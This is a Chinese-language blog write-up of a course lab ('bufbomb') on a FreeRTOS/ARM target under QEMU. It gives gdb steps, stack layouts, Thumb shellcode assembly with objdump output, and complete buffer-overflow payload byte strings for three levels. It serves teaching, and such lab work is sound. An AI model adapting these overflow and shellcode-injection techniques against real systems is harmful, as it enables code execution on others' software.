2015年2月20日 星期五

[Embedded] 一個練習組合語言的小遊戲 -- Defusing bomb (part 2)

遊戲說明請參考  http://wiki.csie.ncku.edu.tw/embedded/Lab34


以下記錄自己的解答方式。本篇僅紀錄 part2 的解法,透過此練習可學得如何利用 stack overflow 來執行 shellcode。

前置步驟:
  1. 檢查 main.elf 是否存在 bufbomb (objdump -t main.elf | grep bufbomb)
  2. make qemudbg,此時會出現兩個視窗
視窗一:  執行 gdb 追蹤 freertos 的執行過程
視窗二:  執行 freertos,此時可以手動執行程式,例如 $ bufbomb
  1. 此處因為編譯時已加入 debug symbol,因此可以直接看 C code解問題,可在視窗一設定下列中斷點
(gdb) b *level1  
(gdb) b *level2  
(gdb) b *fizz  
(gdb) b *level3  
(gdb) b *bang  
(gdb) continue 
Level 1 - 利用 buffer overflow 覆蓋 local variable 的值
解答: " 00 01 02 03 04 05 06 07 08 09 00 01 02 03 04 05 06 07 08 09 58 A0"
The stack in the function “level1” should be something like this:
Offset
Content
28
LR
24
R7
20
a
19
buf[19]
...
...
1
buf[1]
0
buf[0] 
_gets 從 char[0] 開始寫入,超過 20 bytes 後就會寫到 int a 用的記憶體區塊,把char[20]此值改成0x58 (‘X’)就可以了。 

Level 2 - 利用 buffer overflow 覆蓋堆疊上 link register 的值 (注意: little endian)
解答: 將 but[] 的內容改為 " 00 01 02 03 04 05 06 07 08 09 00 01 02 03 04 05 06 07 08 09 70 02 01 20 29 1E 0A"

The stack in the function “fizz” should be something like this:
Offset
Content
36
LR(bufbomb)
32
R7
28
LR (level2)
24
R7
23
buf[19]
...
...
5
buf[1]
4
buf[0]
0
unknown data

fizz() 一開始透過 “sub  sp, #24” 預留了 24bytes的 stack 空間,其中4~23bytes用來存放buf,0~3bytes準備當成暫時變數,存放gets所讀到的字串長度。 

我的目的是要讓 fizz()結束之後,改掉LR = SP+28 = buf[23] 的值, 那麼當 fizz() 結束時執行 pop {r7,pc } 準備回到 level2時, 就會跑去修改過的地方了。假設我想要讓 fizz()結束之後執行 smoke(),那麼以我的執行環境來看,便是將 smoke 所在的位址 (0x1e28) 放入 LR中 (註:此處應該放的值為 0x1e28+1= 0x1e29)

將位址放入暫存器時,會將位址加 1,就我所知,可能有兩種意義
  • 在Thumb mode狀態PC會使用位址匯流排的位元1去當成兩個halfword的選擇位元
  • 若此位址將用來當成 BX 的目的地,那麼就是用來告知 CPU,後續的指令集將運作在 Thumb mode。(0: ARM mode, 1: Thumb mode) 
註1:  我看了幾個人的解法,位址都是 0x0279,我用gdb看到的位址卻不相同,不確定是什麼原因??   

0x1e24 <smoke>:  push {r7, lr}
0x1e26 <smoke+2>:  add r7, sp, #0
0x1e28 <smoke+4>:  movs r0, #1
0x1e2a <smoke+6>:  ldr r1, [pc, #12] ; (0x1e38 <smoke+20>)
0x1e2c <smoke+8>:  bl 0x264 <fio_printf>
0x1e30 <smoke+12>:  movs r3, #0
0x1e32 <smoke+14>:  mov r0, r3
0x1e34 <smoke+16>:  pop {r7, pc}
0x1e36 <smoke+18>:  nop
0x1e38 <smoke+20>:  andeq sp, r0, r0, lsl #27
0x1e3c <level2>:  push {r7, lr}
0x1e3e <level2+2>:  add r7, sp, #0

註2: push {r7, lr} 是會先 push 那一個暫存器?
The 1st instruction of fizz is “push {r7, lr}”, after this I check the register value 
(gdb) p $r7
$2 = 536937072 //0x20010270 
(gdb) p $lr
$3 = 7749 / /0x00001e45 
(gdb) x/10w $sp
0x20010268: 0x20010270 0x00001e45 0x20010278 0x00001eb9
0x20010278: 0x20010280 0x00000c37 0x200102b0 0x00000001
0x20010288: 0x20010290 0x000016e1 
Then we can find $sp=$r7, $sp+4=$lr, lr is pushed first, and the r7 is pushed, and then local variable buf[] is pushed. 
所以修改方式是 buf[0]~buf[19] 隨意填值,buf[20]~buf[23] 放入r7,buf[24]~buf[27] 放入新的 lr (0x1e29)

Level 3 - 插入一段 exploit code 並且利用 buffer overflow 覆蓋堆疊上 link register 的值,使其能夠跳轉至 exploit code 修改 global variable 的值

解法同 level2,但是此時 LR = SP+28 = buf[23] 處所指向的位址,需要能夠執行一段程式,讓程式去設定 global_value = 412。此時有兩種作法
  • 解法一:  若能夠在20bytes內完成此程式,則可以將程式放入buf[0]~buf[19]內。
  • 解法二:  將程式碼藏在 content[28]之後,並將buf[24]~buf[27]所對應的位址指向 content[28],此處有 512-28=484bytes,應該足夠了。 
找出 global_value 的位址,其位址為0x20000dac
(gdb) p &global_value$1 = (int *) 0x20000dac  
寫組語,修改 global_value 的值為 412
movw    r3, #3500       ; 0xdac 
movt    r3, #8192       ; 0x2000        (top half word) 
movw   r2, #412 
str     r2, [r3, #0]

寫組語,讓 bang() 可以正確返回 level3(),在函數level3()之內,0x1e74 會執行 bl 0x1e58 ,因此要將此位址放入暫存器,位址應該加1,因此是0x1e75,此表示bang返回後欲執行的指令位址。
movw r2, 0x1e75 
mov pc, r2

編譯上述組語為機器碼,並取出機器碼(.text的部分),預期大小應該小於 4*6=24bytes,編譯時需指定使用 thumb,編譯後機器碼長度為20bytes,因此藏在buf[0]~buf[19]即可。 
$ /usr/local/gcc-linaro-arm-none-eabi-4.9-2014.05_linux/arm-none-eabi/bin/as -mthumb 1.S

$ objdump -d ./a.out
a.out:      file format elf32-littlearm
Disassembly of section .text: 
00000000 <.text>: 
   0:  f640 53ac  movw r3, #3500 ; 0xdac
   4:  f2c2 0300  movt r3, #8192 ; 0x2000
   8:  f240 129c  movw r2, #412 ; 0x19c
   c:  601a       str r2, [r3, #0]
   e:  f641 6275  movw r2, #7797 ; 0x1e75
  12:  4697       mov pc, r2
buf[0]~buf[19]放入上述機器碼,buf[20]~buf[23]放入R7,確認 buf[0] 的起始位址 0x20010254,將此值加1(0x20010255) 放入buf[24],也就是LR register

取得 buf[0] 起始位址的作法如下
(gdb) b *bang
Breakpoint 3 at 0x1e58:  file src/bufbomb.c, line 93.
(gdb) c
Continuing.
Breakpoint 3, bang () at src/bufbomb.c: 93
(gdb) p/x &buf
$3 = 0x20010254

答案是0x40 0xF6 0xaC 0x53 0xC2 0xF2 0x00 0x03 0x40 0xF2 0x9c 0x12 0x1A 0x60 0x41 0xF6 0x75 0x62 0x97 0x46 0x70 0x02 0x01 0x20 0x55 0x02 0x01 0x20 0x0A


綜上所述:Part 2 解答如下:
0x00 0x01 0x02 0x03 0x04 0x05 0x06 0x07 0x08 0x09 0x00 0x01 0x02 0x03 0x04 0x05 0x06 0x07 0x08 0x09 0x58 0x0A 
0x00 0x01 0x02 0x03 0x04 0x05 0x06 0x07 0x08 0x09 0x00 0x01 0x02 0x03 0x04 0x05 0x06 0x07 0x08 0x09 0x70 0x02 0x01 0x20 0x29 0x1E 0x0A 
0x40 0xF6 0xaC 0x53 0xC2 0xF2 0x00 0x03 0x40 0xF2 0x9c 0x12 0x1A 0x60 0x41 0xF6 0x75 0x62 0x97 0x46 0x70 0x02 0x01 0x20 0x55 0x02 0x01 0x20 0x0A

其他參考資料
  1. http://shell-storm.org/shellcode/
  2. http://safetybits.net/2008/11/26/gnulinux-setuid0-execbinsh00-stable/
  3. http://shell-storm.org/blog/Shellcode-On-ARM-Architecture/